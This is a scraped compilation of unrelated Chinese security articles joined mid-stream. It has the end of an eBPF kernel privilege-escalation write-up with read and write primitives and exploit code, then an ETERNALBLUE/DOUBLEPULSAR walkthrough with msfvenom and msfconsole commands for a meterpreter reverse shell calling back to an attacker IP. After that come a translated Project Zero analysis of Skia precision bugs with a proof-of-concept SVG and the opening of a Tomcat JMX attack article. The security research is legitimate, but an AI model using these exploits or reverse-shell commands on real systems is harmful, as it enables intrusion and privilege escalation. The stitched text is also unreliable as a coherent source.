bpf_create_fd 创建的是一整个bpf_array结构，我们传入的数据放在value[] 处
struct bpf_array {
struct bpf_map map;
u32 elem_size;
u32 index_mask;
struct bpf_array_aux *aux;
union {
char value[];//<--- elem
void *ptrs[];
void *pptrs[];
};
}
value[]在bpf_array整个结构的偏移为0x110，所以*(&map-0x110)为bpf_map的结构地址
struct bpf_map {
const struct bpf_map_ops *ops;
struct bpf_map *inner_map_meta;
void *security;
enum bpf_map_type map_type;
//....
u64 writecnt;
}
bpf_map 有一个const struct bpf_map_ops *ops; 字段，当我们创建的map是BPF_MAP_TYPE_ARRAY
的时候保存的是array_map_ops, array_map_ops 是一个全局变量，可以用于泄露内核地址。
**泄露map_elem地址**
&exp_elem[0]-0x110+0xc0（wait_list）处保存着指向自身的地址，用于泄露exp_elem的地址
(gdb) p/x &(*(struct bpf_array *)0x0)->map.freeze_mutex.wait_list
$9 = 0xc0
### 构造任意读
通过BPF_OBJ_GET_INFO_BY_FD 命令进行任意读，BPF_OBJ_GET_INFO_BY_FD 会调用
bpf_obj_get_info_by_fd：
case BPF_OBJ_GET_INFO_BY_FD:
err = bpf_obj_get_info_by_fd(&attr, uattr);
#define BPF_OBJ_GET_INFO_BY_FD_LAST_FIELD info.info
static int bpf_obj_get_info_by_fd(const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
int ufd = attr->info.bpf_fd;
struct fd f;
int err;
if (CHECK_ATTR(BPF_OBJ_GET_INFO_BY_FD))
return -EINVAL;
f = fdget(ufd);
if (!f.file)
return -EBADFD;
if (f.file->f_op == &bpf_prog_fops)
err = bpf_prog_get_info_by_fd(f.file->private_data, attr,
uattr);
else if (f.file->f_op == &bpf_map_fops)
err = bpf_map_get_info_by_fd(f.file->private_data, attr,
uattr);
……
之后调用 bpf_map_get_info_by_fd：
static int bpf_map_get_info_by_fd(struct bpf_map *map,
const union bpf_attr *attr,
union bpf_attr __user *uattr)
{
struct bpf_map_info __user *uinfo = u64_to_user_ptr(attr->info.info);
struct bpf_map_info info = {};
u32 info_len = attr->info.info_len;
int err;
err = bpf_check_uarg_tail_zero(uinfo, sizeof(info), info_len);
if (err)
return err;
info_len = min_t(u32, sizeof(info), info_len);
info.type = map->map_type;
info.id = map->id;
info.key_size = map->key_size;
info.value_size = map->value_size;
info.max_entries = map->max_entries;
info.map_flags = map->map_flags;
memcpy(info.name, map->name, sizeof(map->name));
if (map->btf) {
info.btf_id = btf_id(map->btf); // 修改map->btf 就可以进行任意读，获得btf_id，在btf结构偏移0x58处
info.btf_key_type_id = map->btf_key_type_id;
info.btf_value_type_id = map->btf_value_type_id;
}
if (bpf_map_is_dev_bound(map)) {
err = bpf_map_offload_info_fill(&info, map);
if (err)
return err;
}
if (copy_to_user(uinfo, &info, info_len) || // 传到用户态的info中，泄露信息
put_user(info_len, &uattr->info.info_len))
return -EFAULT;
return 0;
}
u32 btf_id(const struct btf *btf)
{
return btf->id;
}
(gdb) p/x &(*(struct btf*)0)->id #获取id在btf结构中的偏移
$56 = 0x58
(gdb) p/x &(*(struct bpf_map_info*)0)->btf_id #获取btf_id在bpf_map_info中偏移
$57 = 0x40
所以只需要修改map->btf 为 target_addr-0x58，就可以泄露到用户态info中，泄漏的信息在struct bpf_map_info
结构偏移0x40处，由于是u32类型，所以只能泄露4个字节。
利用代码如下：
static uint32_t bpf_map_get_info_by_fd(uint64_t key, void *value, int mapfd, void *info)
{
union bpf_attr attr = {
.map_fd = mapfd,
.key = (__u64)&key,
.value = (__u64)value,
.info.bpf_fd = mapfd,
.info.info_len = 0x100,
.info.info = (__u64)info,
};
syscall(__NR_bpf, BPF_OBJ_GET_INFO_BY_FD, &attr, sizeof(attr));
return *(uint32_t *)((char *)info+0x40);
}
### 6.2 查找task_struct
ksymtab 保存init_pid_ns结构的偏移，init_pid_ns字符串的偏移
kstrtab 保存init_pid_ns的字符串
(gdb) p &__ksymtab_init_pid_ns
$4 = (<data variable, no debug info> *) 0xffffffff82322eb4
(gdb) x/2wx 0xffffffff82322eb4
0xffffffff82322eb4: 0x001264cc 0x0000a28f
(gdb) x/2s 0xffffffff82322eb8+0x0000a28f
0xffffffff8232d147: "init_pid_ns"
0xffffffff8232d153: "put_pid"
(gdb) x/4gx 0xffffffff82322eb4+0x001264cc
0xffffffff82449380 <init_pid_ns>: 0x0000000000000002 0x0080000400000000
0xffffffff82449390 <init_pid_ns+16>: 0x0000000000000000 0x0000000000000000
所以我们通过搜索”init_pid_ns” 字符串可以得到`__kstrtab_init_pid_ns`的地址，之后再通过搜索匹配
地址+该地址上四个字节（表示偏移）是否等于`__kstrtab_init_pid_ns`的地址
来判断是否为`__ksymtab_init_pid_ns`，此时找到的地址为`__ksymtab_init_pid_ns+4`，
减去4就是`__ksymtab_init_pid_ns`，上面有`init_pid_ns`结构的偏移，与`__ksymtab_init_pid_ns`地址相加就可以得到`init_pid_ns`结构的地址。
之后通过pid 和
init_pid_ns查找对应pid的task_struct，这里其实就是要理清内核的查找过程，在写利用的时候模拟走一遍。最后找到task_struct中cred位置。
内核是通过find_task_by_pid_ns函数实现查找过程的：
struct task_struct *find_task_by_pid_ns(pid_t nr, struct pid_namespace *ns)
{
RCU_LOCKDEP_WARN(!rcu_read_lock_held(),
"find_task_by_pid_ns() needs rcu_read_lock() protection");
return pid_task(find_pid_ns(nr, ns), PIDTYPE_PID);
}
nr 为当前进程的pid，ns 为init_pid_ns结构地址，我们需要的是idr字段的内容
struct pid *find_pid_ns(int nr, struct pid_namespace *ns)
{
return idr_find(&ns->idr, nr);
}
lib/idr.c：
void *idr_find(const struct idr *idr, unsigned long id)
{
return radix_tree_lookup(&idr->idr_rt, id - idr->idr_base);
}
需要获取&idr->idr_rt 和 idr->idr_base
lib/radix-tree.c：
void *radix_tree_lookup(const struct radix_tree_root *root, unsigned long index)
{
return __radix_tree_lookup(root, index, NULL, NULL);
}
void *__radix_tree_lookup(const struct radix_tree_root *root,
unsigned long index, struct radix_tree_node **nodep,
void __rcu ***slotp)
{
struct radix_tree_node *node, *parent;
unsigned long maxindex;
void __rcu **slot;
restart:
parent = NULL;
slot = (void __rcu **)&root->xa_head;
radix_tree_load_root(root, &node, &maxindex); //将root->xa_head的值赋给node
if (index > maxindex)
return NULL;
while (radix_tree_is_internal_node(node)) {
unsigned offset;
parent = entry_to_node(node); // parent = node & 0xffff ffff ffff fffd
offset = radix_tree_descend(parent, &node, index); //循环查找当前进程的node
slot = parent->slots + offset; //
if (node == RADIX_TREE_RETRY)
goto restart;
if (parent->shift == 0) // 当shift为0时，退出，说明找到当前进程的node
break;
}
if (nodep)
*nodep = parent;
if (slotp)
*slotp = slot;
return node;
}
重点看radix_tree_descend函数实现：
RADIX_TREE_MAP_MASK : 0x3f
static unsigned int radix_tree_descend(const struct radix_tree_node *parent,
struct radix_tree_node **nodep, unsigned long index)
{
unsigned int offset = (index >> parent->shift) & RADIX_TREE_MAP_MASK; // 要读取parent->shift的值，并与0x3f 与计算
void __rcu **entry = rcu_dereference_raw(parent->slots[offset]); // 获取parent->slots[offset] 作为下一个node
*nodep = (void *)entry; //
return offset; //
}
radix_tree_node的结构如下：
#define radix_tree_node xa_node
struct xa_node {
unsigned char shift; /* Bits remaining in each slot */
unsigned char offset; /* Slot offset in parent */
unsigned char count; /* Total entry count */
unsigned char nr_values; /* Value entry count */
struct xa_node __rcu *parent; /* NULL at top of tree */
struct xarray *array; /* The array we belong to */
union {
struct list_head private_list; /* For tree user */
struct rcu_head rcu_head; /* Used when freeing node */
};
void __rcu *slots[XA_CHUNK_SIZE];
union {
unsigned long tags[XA_MAX_MARKS][XA_MARK_LONGS];
unsigned long marks[XA_MAX_MARKS][XA_MARK_LONGS];
};
};
获得当前进程的node后就可以通过pid_task获取相应的task_struct：
enum pid_type
{
PIDTYPE_PID,
PIDTYPE_TGID,
PIDTYPE_PGID,
PIDTYPE_SID,
PIDTYPE_MAX,
};
type 为PIDTYPE_PID， 值为0
#define hlist_entry(ptr, type, member) container_of(ptr,type,member)
struct task_struct *pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result = NULL;
if (pid) {
struct hlist_node *first;
first = rcu_dereference_check(hlist_first_rcu(&pid->tasks[type]), //获取&pid->tasks[0] 的内容
lockdep_tasklist_lock_is_held());
if (first)
result = hlist_entry(first, struct task_struct, pid_links[(type)]);// first为pid_links[0]的地址，由此获得task_struct的起始地址
}
return result;
}
### 6.3 构造任意写
在exp_elem上填充伪造的array_map_ops，伪造的array_map_ops中将map_push_elem
填充为map_get_next_key ，这样调用map_push_elem时就会调用map_get_next_key
，并将&exp_elem[0]的地址覆盖到exp_map[0]，同时要修改 map 的一些字段绕过一些检查
spin_lock_off = 0
max_entries = 0xffff ffff
//写入的index要满足(index >= array->map.max_entries), 将map_entries改成0xffff ffff
map_type = BPF_MAP_TYPE_STACK
//map 的类型是BPF_MAP_TYPE_QUEUE或者BPF_MAP_TYPE_STACK时，map_update_elem 会调用map_push_elem
最后调用bpf_update_elem任意写内存
bpf_update_elem->map_update_elem(mapfd, &key, &value, flags) -> map_push_elem(被填充成 map_get_next_key )
->array_map_get_next_key
static int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)
{
struct bpf_array *array = container_of(map, struct bpf_array, map);
u32 index = key ? *(u32 *)key : U32_MAX;
u32 *next = (u32 *)next_key;
if (index >= array->map.max_entries) { //index
*next = 0;
return 0;
}
if (index == array->map.max_entries - 1)
return -ENOENT;
*next = index + 1;
return 0;
}
map_push_elem 的参数是value 和 uattr 的 flags, 分别对应array_map_get_next_key 的 key 和
next_key 参数，之后有index = value[0]，next = flags ， 最终效果是 *flags =
value[0]+1，这里index 和 next 都是 u32 类型， 所以可以任意地址写 4个byte。
所以利用的整体思路是：
1. 通过漏洞，使得传进来的值为2，而验证模块认为是1，进而通过右移和乘法操作构造任意数，对map指针进行加减造成越界读写。
2. 通过&exp_elem[0]-0x110，获得exp_map的地址，exp_map[0] 保存着array_map_ops的地址，可以用于泄露内核地址
3. &exp_elem[0]-0x110+0xc0（wait_list）处保存着指向自身的地址，用于泄露exp_elem的地址
4. 利用任意读查找init_pid_ns结构地址
5. 利用进程pid和init_pid_ns结构地址获取当前进程的task_struct
6. 在exp_elem上填充伪造的array_map_ops
7. 修改 map 的一些字段绕过一些检查
8. 调用 bpf_update_elem任意写内存
9. 修改进程task_struct 的cred进行提权。
提权效果图：
## 0x07 补丁分析
按正常处理思路，寄存器32位的范围和64位的范围应该分开处理，漏洞的成因正是由于直接将64位值赋值给32位的变量，导致截断，因此补丁就是将32位和64位的情况分开，修正赋值的内容，阻止了整数截断的情况。
## 0x08 时间线
**2020-11-01** 作者公开漏洞信息
**2020-11-02** 360CERT完成漏洞利用
**2020-11-03** 360CERT发布漏洞分析与利用报告
## 0x09 参考链接
1. <https://scannell.me/fuzzing-for-ebpf-jit-bugs-in-the-linux-kernel/>
2. <https://github.com/torvalds/linux/commit/5b9fbeb75b6a98955f628e205ac26689bcb1383e>
3. <https://xz.aliyun.com/t/7690> | 社区文章 |
Shadow Brokers再次泄露出一份震惊世界的机密文档，其中包含了多个精美的 Windows 远程漏洞利用工具，可以覆盖大量的 Windows
服务器，一夜之间所有Windows服务器几乎全线暴露在危险之中。
目前已知受影响的 Windows 版本包括但不限于：Windows NT，Windows 2000（没错，古董也支持）、Windows XP、Windows
2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows
Server 2012 SP0。
工具中的ETERNALBLUE模块是SMB 漏洞利用程序，可以攻击开放了 445 端口的 Windows 机器，本文进行了漏洞利用复现：
1.NSA泄露工具下载地址：
<https://github.com/x0rz/EQGRP_Lost_in_Translation>
2.安装方法
环境搭建
注意，必须按照python2.6相关版本，其他版本不奏效。
下载python2.6并安装
下载pywin32并安装
将C:\Python26添加到环境变量PATH中。
配置环境 将EQGRP_Lost_in_Translation下载到的文件解压，找到\windows\fb.py，将，下图中两个部分注释掉。
1. 实验环境
攻击机1：192.168.71.133，winserver 2008，32bit
攻击机2：192.168.71.130 kali2
靶机：192.168.199.107，win7 64bit
1. 利用步骤：
在靶机1（192.168.71.133）中安装好python、pywin32以及NSA工具，在C:\shadowbroker-master\windows
中执行fb.py：
分别设置攻击IP地址192.168.199.107，回调地址192.168.71.133（攻击机1），关闭重定向，设置日志路径，新建或选择一个project：
接下来输入命令：
useETERNALBLUE
依次填入相关参数，超时时间等默认参数可以直接回车：
由于靶机是win7 系统，在目标系统信息处选择1：win72k8r2
模式选1：FB
确认信息，执行
成功后，接着运行use Doublepulsar：
并依次填入参数，注意在function处选择2，rundll
同时在攻击机2 kali的msfvenom 生成攻击dll：
msfvenom -pwindows/x64/meterpreter/reverse_tcp LHOST=192.168.71.130LPORT=5555
-f dll > go.dll
接着执行：
$ msfconsole
msf > useexploit/multi/handler
msf > set LHOST192.168.71.130
msf > set LPORT 5555
msf > set PAYLOADwindows/x64/meterpreter/reverse_tcp
msf > exploit
同时将生成的go.dll上传到攻击机1（192.168.71.133），回到攻击机1，填入攻击dll路径：
接下来一路回车，执行攻击
回到kali，获得shell，攻击成功：
5.缓解措施
微软表示已经修补了Shadow
Brokers小组发布的Windows漏洞。可能源于国家安全局的黑客工具昨天在线发布，微软能够测试并确认修补程序已经可用于所有当前支持的Windows版本。这意味着较旧的Windows
XP或Windows
Vista系统仍然可能容易受到发布的三个漏洞的攻击，但是由于Microsoft已经不支持，因此Microsoft不太可能为这些旧版本的Windows提供补丁。
请大家及时更新补丁，并关闭必要的139,445,3389端口。 | 社区文章 |
原文：<https://googleprojectzero.blogspot.com/2018/07/drawing-outside-box-precision-issues-in.html>
在本文的上篇中，我们为读者介绍了由于图形渲染库精度问题而引发的安全漏洞。其中，我们讲解了SwiftShader图形库和Skia图像库中的精度误差问题，同时，还解释了整数转换为浮点数，以及分数相乘时出现的误差问题。在本文中，我们将为读者进一步深入讲解其他方面的精度误差问题，以及它们所带来的安全隐患。
**将样条线转换为线段时出现的浮点精度误差**
* * *
在绘制路径时，Skia会将所有非线性曲线（圆锥曲线、二次和三次样条）转换为线段。不足为奇的是，这些转换也会受到精度误差的影响。
样条线到线段的转换在很多地方都会发生，但最容易出现浮点精度误差的是[hair_quad](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&l=233&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467
"hair_quad")(用于绘制二次曲线)函数和[hair_cubic](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467&l=359
"hair_cubic")(用于绘制三次曲线)函数。这两个函数都是从[hair_path](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&l=501&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467
"hair_path")调用的，这一点已经在上面提到过了。由于在处理三次样条时，会出现更大的精度误差，所以，在这里只考察三次曲线的情形。
在逼近该样条曲线时，首先会利用[SkCubicCoeff](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkGeometry.h?g=0&l=375&rcl=b9bfb7b275d11eb6ba90dc2dfa9cfa9f73cc613e
"SkCubicCoeff")计算三次曲线的各个系数。其中，我们最感兴趣的部分如下所示：
fA = P3 + three * (P1 - P2) - P0;
fB = three * (P2 - times_2(P1) + P0);
fC = three * (P1 - P0);
fD = P0;
其中P1、P2和P3是输入点，fA、fB、fC和fD是输出系数。然后，使用[hair_cubic](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467&l=359
"hair_cubic")计算线段点，具体代码如下所示：
const Sk2s dt(SK_Scalar1 / lines);
Sk2s t(0);
...
Sk2s A = coeff.fA;
Sk2s B = coeff.fB;
Sk2s C = coeff.fC;
Sk2s D = coeff.fD;
for (int i = 1; i < lines; ++i) {
t = t + dt;
Sk2s p = ((A * t + B) * t + C) * t + D;
p.store(&tmp[i]);
}
其中，p是输出点，而lines则是我们用来逼近曲线的线段数。根据样条曲线的长度的不同，一根三次样条曲线最多可以用512条线段进行逼近。
很明显，这里的计算并不十分精确。在本文的后面部分，当x和y坐标进行相同的计算时，我们只考察x坐标部分的相关计算。
我们假设绘图区域的宽度是1000像素。因为hair_path用于支持抗锯齿的绘制路径，所以，我们需要确保路径的所有点都介于1到999之间，实际上，这些工作都是在最初的路径级剪辑检查中完成的。下面让我们考虑以下坐标，这些坐标都通过了该项检查:
p0 = 1.501923
p1 = 998.468811
p2 = 998.998779
p3 = 999.000000
对于这些点来说，相应的系数如下所示：
a = 995.908203
b = -2989.310547
c = 2990.900879
d = 1.501923
如果使用更大的精度完成相同的计算，你就会发现这里的数字并不太精确。接下来，让我们看看如果用512个线段逼近样条曲线会是什么结果。实际上，这会得到513个x坐标：
0: 1.501923
1: 7.332130
2: 13.139574
3: 18.924301
4: 24.686356
5: 30.425781
...
500: 998.986389
501: 998.989563
502: 998.992126
503: 998.994141
504: 998.995972
505: 998.997314
506: 998.998291
507: 998.999084
508: 998.999695
509: 998.999878
510: 999.000000
511: 999.000244
512: 999.000000
我们可以看到，x坐标在不断增加，并且在点511处，已经明显超出了“安全”区域，其值也超过了999。
实际上，这还不足以触发越界写漏洞，为何？这主要归功于Skia绘制抗锯齿线的工作方式，实际上，我们至少需要在剪辑区域之外画1/64像素，这样它才会触发安全漏洞。然而，在这种情况下，关于精度误差的一个有趣的事情是：绘图区域越大，可能出现的误差就越大。
因此，让我们考虑一个32767像素的绘图区域（Chrome中的最大画布尺寸）。然后，首先进行剪辑检查，看看所有路径点是否全部位于区间[1,32766]内。现在，让我们考察以下各点：
p0 = 1.7490234375
p1 = 32765.9902343750
p2 = 32766.000000
p3 = 32766.000000
相应的系数为：
a = 32764.222656
b = -98292.687500
c = 98292.726562
d = 1.749023
相应的线性逼近值为：
0: 1.74902343
1: 193.352295
2: 384.207123
3: 574.314941
4: 763.677246
5: 952.295532
…
505: 32765.925781
506: 32765.957031
507: 32765.976562
508: 32765.992188
509: 32766.003906
510: 32766.003906
511: 32766.015625
512: 32766.000000
如您所见，我们在索引511处就明显越出了边界。
然而，这个bug并不能用于触发内存损坏，至少在最新版本的skia中不会触发这个问题——对于Skia来说，这是非常幸运的；但是，对于野心勃勃的攻击者来说，这又是非常遗憾的。究其原因，还是在于[SkDrawTiler](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkBitmapDevice.cpp?l=42&rcl=41f4f31cd7dadd1123600c38faa8fef6bd7fb29c
"SkDrawTiler")。每当Skia使用SkBitmapDevice（而非使用GPU设备）进行渲染、绘图区域在所有维度上都大于8191像素、并且不是一次绘制整个图像的时候，Skia就会将其拆分为大小（最大）为8191x8191像素的多个图块
。[这种做法](https://skia.googlesource.com/skia.git/+/b5e1f7558052cc60deaf23ccc2c898d1c6c94c09
"这种做法")是在今年3月份引进的，之所以这样做，并非出于安全考虑，而是为了支持更大的绘图表面。不过，它仍然有效地阻止了针对这个漏洞的利用，同时，也阻止了针对表面大于8191而致使精度误差足够大的其他情况下的漏洞利用。
尽管如此，这个漏洞在3月之前却是可利用的，我们认为，这个例子能够帮助我们很好地阐释精度误差的概念。
**将样条线转换为线段时的整数精度误差**
* * *
在绘制(就这里来说，是填充)路径时，需要使用线段来逼近样条线，这时候就会受到精度误差的影响，并且在这种情况下，精度误差漏洞是可以利用的。有趣的是，这里的精度误差并不是出现在浮点运算中，而是出现在定点运算中。
该问题发生在[SkQuadraticEdge::setQuadraticWithoutUpdate](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=181
"SkQuadraticEdge::setQuadraticWithoutUpdate")和SkCubicEdge::setCubicWithoutUpdate中。为了简单起见，这里还是只关注三次样条曲线，并且仅考察曲线的x坐标。
在[SkCubicEdge::setCubicWithoutUpdate](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?rcl=5eb8fc585e9b3c9ccc82b0921986e1020ddaff23&l=350
"SkCubicEdge::setCubicWithoutUpdate")中，首先会将曲线坐标转换为SkFDot6类型。然后，计算曲线在起始点处的一阶、二阶、三阶导数对应的参数:
SkFixed B = SkFDot6UpShift(3 * (x1 - x0), upShift);
SkFixed C = SkFDot6UpShift(3 * (x0 - x1 - x1 + x2), upShift);
SkFixed D = SkFDot6UpShift(x3 + 3 * (x1 - x2) - x0, upShift);
fCx = SkFDot6ToFixed(x0);
fCDx = B + (C >> shift) + (D >> 2*shift); // biased by shift
fCDDx = 2*C + (3*D >> (shift - 1)); // biased by 2*shift
fCDDDx = 3*D >> (shift - 1); // biased by 2*shift
其中，x0、x1、x2和x3是定义三次样条的4个点的x坐标，而shift和upShift则取决于曲线的长度（这对应于用来逼近曲线的线段的数量）。为简单起见，我们可以假设shift=upShift=6（最大可能值）。
现在，让我们输入一些非常简单的值，来看看会发生什么情况：
x0 = -30
x1 = -31
x2 = -31
x3 = -31
请注意，x0、x1、x2和x3属于skfdot6类型，因此，值-30对应于-0.46875，而值-31对应于-0.484375。虽然这些值虽然接近于-0.5，但并不是等于，因此，在四舍五入时非常安全。现在，让我们看看计算出来的参数值:
B = -192
C = 192
D = -64
fCx = -30720
fCDx = -190
fCDDx = 378
fCDDDx = -6
你知道问题出在哪里吗？提示：它位于fCDx的计算公式中。
当计算fCDx（曲线的一阶导数）时，D的值需要右移12位。然而，D的值太小了，无法精确地做到这一点，并且由于D是负的，所以实际进行的右移操作为：
D >> 2*shift
结果为-1，这个数值的绝对值比预期结果的要大。(因为D是SkFixed类型，所以，它的实际值是-0.0009765625，当移位被解释为除以4096时，得到的结果为-2.384185e-07)。正因为如此，最终计算出来的fCDx结果（负值，即-190）的绝对值，会大于正确结果（即-189.015）的绝对值。
之后，在计算线段的x值时会用到fCDx的值，具体见skcubiedge::updateCubic中如下所示的[这行](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?l=477&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467
"这行")代码:
newx = oldx + (fCDx >> dshift);
当使用64个线段（该算法的最大值）逼近样条曲线时，相应的x值为（表示为索引、整数的SkFixed值和对应的浮点值）：
0: -30720 -0.46875
1: -30768 -0.469482
2: -30815 -0.470200
3: -30860 -0.470886
4: -30904 -0.471558
5: -30947 -0.472214
...
31: -31683 -0.483444
32: -31700 -0.483704
33: -31716 -0.483948
34: -31732 -0.484192
35: -31747 -0.484421
36: -31762 -0.484650
37: -31776 -0.484863
38: -31790 -0.485077
...
60: -32005 -0.488358
61: -32013 -0.488480
62: -32021 -0.488602
63: -32029 -0.488724
64: -32037 -0.488846
如您所见，对于第35个点，x值（-0.484421）最终会小于最小输入点（-0.484375），并且对于后面的点来说，这种趋势依旧延续。该值虽然在取整后会变为0，但还存在另一个问题。
在SkCubicEdge::updateCubic中计算的x值将传递给SkEdge::updateLine，并且在下面的[代码](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkEdge.cpp?g=0&l=114&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467
"代码")中，它们会从SkFixed类型转换为SkFDot6类型：
x0 >>= 10;
x1 >>= 10;
又一次右移！举例来说，当SkFixed值-31747进行移位后，我们最终得到一个skfdot6类型值-32，即-0.5。
现在，我们可以使用上面在“分数相乘时的出现的精度误差”一节中描述的技巧使该值小于-0.5，从而突破图像的边界。换句话说，我们可以在绘制路径时，让Skia对坐标x=-1的位置进行渲染。
**但是，我们能利用该漏洞做些什么呢？**
* * *
通常，由于Skia将会将图像的像素按行组织后作为一个整体进行内存分配（类似于大多数其他软件针对位图的内存分配方式），所以，有些情况下可能会发生精度问题。假设我们有一个大小为width
x height的图像，同时，假设我们只能超出该范围外一个像素：
* 如果向y=-1或y=height的位置进行绘图的话，会立即触发堆越界写问题
* 如果向y=0且x=-1的位置进行绘图的话，会立即导致堆下溢1个像素
* 如果向x=width且y=height-1的位置进行绘图的话，会立即导致堆溢出1个像素
* 如果向y>0且x=-1的位置进行绘图的话，会导致像素“溢出”到上一个图像行
* 如果向x=height且y < height-1的位置进行绘图的话，会导致像素“溢出”到下一个图像行
就本文来说，我们遇到的是第4中情形，但遗憾的是，我们无法在y=0的情况向x=1的位置进行渲染，因为精度误差需要随着y值的增长而积累。
我们来看看下面的SVG图像：
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg">
<style>
body {
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
margin-left: 0px
}
</style>
<path d="M -0.46875 -0.484375 C -0.484375 -0.484375, -0.484375 -0.484375, -0.484375 100 L 1 100 L 1 -0.484375" fill="red" shape-rendering="crispEdges" />
</svg>
如果在未修复该漏洞的版本的Firefox中呈现该图像的话，将看到如下所示的内容。请注意，该SVG图像的像素大部分位于屏幕左侧，但右侧也有少许红色像素。这是因为，根据图像的分配方式，向x=-1且y=row的位置进行渲染，实际上就是向x=width-1且y=row-1的位置进行渲染。
一旦打开这个SVG图像，就会触发Firefox中的Skia精度问题。如果你仔细观察，你会发现图像右侧有一些红色像素。那些人是怎么到那儿的？ :)
需要说明的是，我们使用的是Mozilla公司的Firefox浏览器，而不是Google公司的Chrome浏览器，主要是在SVG的渲染机制（特别是：Skia似乎一次绘制整个图像，而Chrome则使用额外的平铺操作）方面，Firefox更适合演示该问题。但是，Chrome和Firefox都会受该问题的影响。
但是，这个问题除了可以呈现一个有趣的图像外，是否存在实际的安全影响呢？这时，就该[SkARGB32_Shader_Blitter](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkCoreBlitters.h?g=0&l=120&rcl=e102016fef339f59e4bfea4547276e16da298483
"SkARGB32_Shader_Blitter")上场了（每当Skia中的颜色应用着色器效果时，就会用到它）。SkARGB32_Shader_Blitter的特殊之处在于：会分配一个与单个图像行大小相同的临时缓冲区。当[SkARGB32_Shader_Blitter::blitH](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkBlitter_ARGB32.cpp?g=0&l=368&rcl=a4083c97d48e8a4f88e2797d7363f141e3d42553
"SkARGB32_Shader_Blitter::blitH")用于绘制整个图像行时，如果我们可以使其从x=-1到x=width-1（或从x=0到x=width）进行渲染的话，这时，它就需要向缓冲区写入width
+
1个像素，而问题在于——该缓冲区只能容纳width个像素，从而导致缓冲区溢出，这一点可以参考[漏洞报告](https://bugs.chromium.org/p/project-zero/issues/detail?id=1579 "漏洞报告")中的ASan日志。
请注意Chrome和Firefox的PoC如何包含带有linearGradient元素的SVG图像的——线性梯度专门用于选择SkARGB32_Shader_Blitter，而不是直接向图像绘制像素，这只会导致像素溢出到前一行。
这个漏洞的另一个不足之处在于，只有在关闭抗锯齿特性的情况下绘制（更具体地说，是填充）路径时，才会触发该漏洞。由于目前无法在关闭抗锯齿的情况下绘制HTML画布元素的路径（有一个imageSmoothingEnabled属性，但它仅适用于绘制图像，而不适用于绘制路径），因此，必须使用shape-rendering="crispEdges" 的SVG图像来触发该漏洞。
我们公布的Skia中的所有因精度问题所导致的漏洞，都是通过[增加kConservativeRoundBias](https://skia.googlesource.com/skia.git/+/861b52ea98d703786ce485389db07e58759c1792
"增加kConservativeRoundBias")来进行修复的。虽然当前的偏差值足以覆盖我们所知道的最大精度误差，但不容忽视的是，其他地方仍有可能出现精度问题。
**结束语**
* * *
虽然大多数软件产品并不会出现精确问题（如本文所述），然而，一旦出现该问题，就会引起非常严重的后果。为了防止出现该问题，我们应该：
* 在计算结果对安全性敏感的情况下，请勿使用浮点运算。如果必须使用浮点运算的话，则要确保可能的最大精度误差不大于某个安全范围。在某些情况下，可以使用[区间运算](https://www.boost.org/doc/libs/1_66_0/libs/numeric/interval/doc/interval.htm "区间运算")来确定最大精度误差。或者，针对计算结果而非输入进行相应的安全检查。
* 使用整数运算时，需要密切关注所有可能降低计算结果精度的运算，例如除法和右移。
不幸的是，目前还没有很好的方法可以揪出这些漏洞。我们刚开始研究Skia时，我们最初的想法，是在绘图算法上使用[符号执行](https://en.wikipedia.org/wiki/Symbolic_execution
"符号执行")来查找可能导致绘制越界的输入值，因为从表面上看，符号执行似乎非常适合查找这种漏洞。然而，实践证明，这种做法存在太多问题：大多数工具不支持浮点符号变量，即使仅针对[最简单的线绘制算法](https://cs.chromium.org/chromium/src/third_party/skia/src/core/SkScan_Hairline.cpp?g=0&l=45&rcl=f08d1d0ce19c72bb911f059dcf916cf99a0a2467
"最简单的线绘制算法")的整数部分进行符号执行，我们也无法在合理的时间内完成这项任务。
最后，我们还是投向了各种老派方法的怀抱：对源代码进行人工审计，模糊测试（尤其是针对接近图像边界的值），在某些情况下，当我们已经识别出可能存在问题的代码区域时，甚至会通过蛮力方式遍历所有可能值。
您是否知道精度误差会导致安全问题的其他情形呢？请在评论中告诉我们，我们将感激不尽。 | 社区文章 |
# 【技术分享】通过JMX访问破坏Apache Tomcat
|
##### 译文声明
本文是翻译文章，文章来源：nccgroup.trust
原文地址：<https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/february/compromising-apache-tomcat-via-jmx-access/>
译文仅供参考，具体内容表达以及含义原文为准。
****
翻译：[ **myswsun**](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**0x00 前言**
本文主要关注Tomcat服务器的一些配置问题，可以将Java管理扩展（JMX）服务暴露到外部网络中，来用于远程监视和管理的目的。
通过使用Java开发工具包（JDK）中的JConsole工具，这些功能可能被攻击者滥用来获得系统的控制权限。
本文的编写是为了来强调这种之前不为作者所知的新的攻击方式，它与Tomcat服务器暴露的JMX接口有关。
